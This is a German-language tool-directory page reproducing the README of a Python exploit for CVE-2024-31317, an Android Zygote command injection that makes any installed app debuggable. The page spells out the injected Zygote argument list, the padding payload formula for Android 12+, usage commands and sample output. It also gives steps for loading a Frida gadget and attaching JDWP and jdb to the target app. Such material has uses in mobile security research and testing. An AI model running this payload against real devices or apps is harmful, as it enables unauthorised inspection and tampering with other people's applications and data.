Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Debuggable-App-Exploit — CVE-2024-31317 Exploit für debuggbare App | Kitploit
Tools/GitHubGitHub/cleov2/debuggable-app-exploit
Android-SicherheitSchwachstellenanalyseExploitationFuzzingMobile SicherheitLernen & BildungPayload-EntwicklungBinary-Exploitation
GitHubcleov2/debuggable-app-exploit

Debuggable-App-Exploit

CVE-2024-31317 Exploit für debuggbare App

Repository anzeigen
1239vor 7 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-31317 Debuggable App Exploit

Ein Python-basierter Exploit für CVE-2024-31317 (Android Zygote Injection), der jede installierte Android-App debuggbar macht, indem bösartige Zygote-Argumente über die hidden_api_blacklist_exemptions-Einstellung injiziert werden. Enthält optionale Frida-Gadget-Injektion für Runtime-Hooking.

Übersicht

Dieser Exploit nutzt eine Command-Injection-Schwachstelle im Zygote-Prozess von Android aus, um Zielanwendungen mit aktiviertem debuggable-Flag zu starten. Dies ermöglicht JDWP-Debugging und die Inspektion jeder App, ohne Root-Zugriff oder die Debug-Version der App zu benötigen.

Basierend auf der Forschung von: Flankers CVE-2024-31317 Analyse

Wichtige Erkenntnis: "das runtime-flags-Feld in ZygoteArguments kann tatsächlich verwendet werden, um das debuggable-Attribut einer Anwendung zu aktivieren."

Funktionen

  • Auto-Erkennungsmodus – Erkennt automatisch die UID, den Befehlssatz und das Datenverzeichnis der Ziel-App
  • Debuggable-Flag-Injektion – Setzt runtime-flags=65535, um Debugging zu aktivieren
  • JDWP-Weiterleitung – Richtet automatisch JDWP-Portweiterleitung nach dem Exploit ein
  • Frida-Gadget-Injektion – Injiziert optional Frida für Runtime-Hooking über JDWP
  • Intelligente Breakpoints – Verwendet zuverlässige Breakpoints, die automatisch ohne Benutzereingriff auslösen
  • Auto-Installation der Debug-App – Installiert die Helfer-App, falls nicht vorhanden

Voraussetzungen

  • Android-Gerät, anfällig für CVE-2024-31317 (Sicherheitspatch vor Juni 2024)
  • ADB installiert und USB-Debugging aktiviert
  • Python 3.10+
  • Erforderliche Pakete: ppadb, jdwplib

Installation

Platzieren Sie die folgenden Dateien im selben Verzeichnis:

├── CVE-2024-31317-Debuggable.py    # Haupt-Exploit-Skript
├── jdwplib.py                       # JDWP-Client-Bibliothek
├── app-debug.apk                    # Debuggable Helfer-App
├── frida-gadget-android-*.so        # Frida-Gadget (optional)
├── frida-gadget.config.so           # Frida-Konfiguration (optional)
└── win32/adb.exe                    # Windows ADB-Binärdatei

Verwendung

Einfache Verwendung

python CVE-2024-31317-Debuggable.py

Das Skript fordert Sie zur Auswahl eines Parametererkennungsmodus auf:

==================================================
  CVE-2024-31317 Exploit
==================================================

[1] Auto-detect parameters
[2] Hardcoded values

Mode (1/2) [1]:

Was es tut

  1. Phase 1: startSeq extrahieren

    • Startet eine debuggable Helfer-App
    • Verbindet sich über JDWP und extrahiert den startSeq-Wert aus Stack-Frames
    • Schließt die Helfer-App
  2. Phase 2: Zygote-Argumente injizieren

    • Erstellt bösartige Zygote-Argumente mit runtime-flags=65535 (debuggable)
    • Injiziert Payload in die hidden_api_blacklist_exemptions-Einstellung
    • Stoppt die Ziel-App zwangsweise und startet sie mit injizierten Argumenten neu
  3. Phase 3: Post-Exploitation

    • Richtet JDWP-Portweiterleitung ein
    • Injiziert optional das Frida-Gadget für Runtime-Hooking

Beispiel-Ausgabe

==================================================
  CVE-2024-31317 Exploit
==================================================

[1] Auto-detect parameters
[2] Hardcoded values

Mode (1/2) [1]: 1

[INFO] Phase 1: Extract startSeq
[INFO] com.debug.app already installed
[INFO] Setting debuggable
[INFO] Starting com.debug.app/.MainActivity
[INFO] PID: 12345
[INFO] JDWP port: 8700
[INFO] Suspending VM
[INFO] Scanning 42 frames
[INFO] startSeq: 123456
[INFO] Phase 2: Exploit com.debug.configurator
[INFO] Detecting parameters for com.debug.configurator
[INFO] UID: 10242
[INFO] Arch: arm64
[INFO] Data: /data/user/0/com.debug.configurator
[INFO] Android 13
[INFO] Payload: 8765 bytes
[INFO] Restarting target
[INFO] Done
[INFO] Target PID: 23456
[INFO] JDWP: 8701

Inject Frida? (y/N):

Konfiguration

Ziel-App

Bearbeiten Sie die Konstanten am Anfang des Skripts:

TARGET_APP = "com.debug.configurator"  # Ändern Sie dies zu Ihrem Zielpaket
DEBUG_APP = "com.debug.app"            # Helfer-Debuggable-App
DEBUG_APK = "app-debug.apk"            # APK-Datei für die Helfer-App

Auto-Erkennung vs. fest codierte Werte

Auto-Erkennungsmodus (empfohlen):

  • Verwendet pm list packages -U, um die UID zu erhalten
  • Verwendet dumpsys package, um Befehlssatz und Datenverzeichnis zu ermitteln
  • Zuverlässiger über verschiedene Geräte hinweg

Fest codierter Modus:

  • Verwendet Standardwerte (UID=10242, arm64 usw.)
  • Schneller, aber weniger zuverlässig, wenn das Gerät von den Standardwerten abweicht

Frida-Gadget-Injektion

Nach erfolgreichem Exploit können Sie optional das Frida-Gadget injizieren:

Inject Frida? (y/N): y

Das Skript wird:

  1. frida-gadget.so nach /data/local/tmp/ schieben
  2. Über run-as in das Datenverzeichnis der App kopieren
  3. Einen Breakpoint setzen und das Gadget über JDWP laden
  4. Die Ports 27042 und 27043 weiterleiten

Breakpoint-Ziele

Das Skript probiert diese Breakpoints in der Reihenfolge ihrer Zuverlässigkeit:

KlasseMethodeAuslöser
android.os.MessageQueuenextAutomatisch – Haupt-Looper pollt ständig
android.os.BinderexecTransactAutomatisch – jeder IPC/Binder-Aufruf
android.app.ActivityThreadhandleMessageAutomatisch – Haupt-Handler der App
android.os.HandlerdispatchMessageAutomatisch – Nachrichtenverteilung
android.os.HandlerhandleMessageAutomatisch – Nachrichtenverarbeitung
android.view.ChoreographerdoFrameAutomatisch – Frame-Callbacks
android.view.ViewdispatchTouchEventManuell – erfordert Berührung
android.view.ViewonDrawManuell – erfordert UI-Neuzeichnung

Die oberen Breakpoints sollten automatisch auslösen. Falls sie auslaufen, tippen Sie auf die App, um die Fallback-Breakpoints auszulösen.

Verbindung zu Frida

Nach erfolgreicher Injektion:

# Verbindung zum Gadget
frida -H 127.0.0.1:27042 -n Gadget

# Prozesse auflisten
frida-ps -H 127.0.0.1:27042

Nach der Ausbeutung

Sobald der Exploit erfolgreich ist, läuft die Ziel-App mit aktiviertem Debugging:

  1. Mit JDWP-Debugger verbinden:

    jdb -attach localhost:8701
    
  2. Android Studio Debugger verwenden – An den Prozess auf dem weitergeleiteten Port anhängen

  3. Frida verwenden – Falls das Gadget über das Skript injiziert wurde

Funktionsweise

Schwachstellenübersicht

CVE-2024-31317 ist eine Command-Injection-Schwachstelle im Zygote-Prozess von Android. Durch Manipulation der hidden_api_blacklist_exemptions-Systemeinstellung mit speziell präparierter Eingabe können wir beim Start einer App beliebige Zygote-Argumente injizieren.

Wichtige Komponenten

  1. startSeq-Extraktion: Jeder App-Start hat eine eindeutige Sequenznummer. Wir extrahieren diese aus einer debuggable App über JDWP, indem wir Stack-Frame-Variablen inspizieren.

  2. Payload-Konstruktion: Wir erstellen Zygote-Argumente einschließlich:

    --runtime-args
    --setuid=<target_uid>
    --setgid=<target_gid>
    --runtime-flags=65535      # Aktiviert alle Debug-Flags
    --mount-external-default
    --target-sdk-version=35
    --setgroups=3003
    --nice-name=<package>
    --seinfo=default:targetSdkVersion=30:complete
    --instruction-set=<arch>
    --app-data-dir=<data_dir>
    --package-name=<package>
    --is-top-app
    --bind-mount-data-dirs
    android.app.ActivityThread
    seq=<startSeq+1>
    
  3. Injektion: Der Payload wird mit spezifischem Padding für Android 12+ in die Systemeinstellung injiziert:

    payload = "\n" * 3000 + "A" * 5157 + zygote_args + "," + ",\n" * 1400
    
Tool herunterladen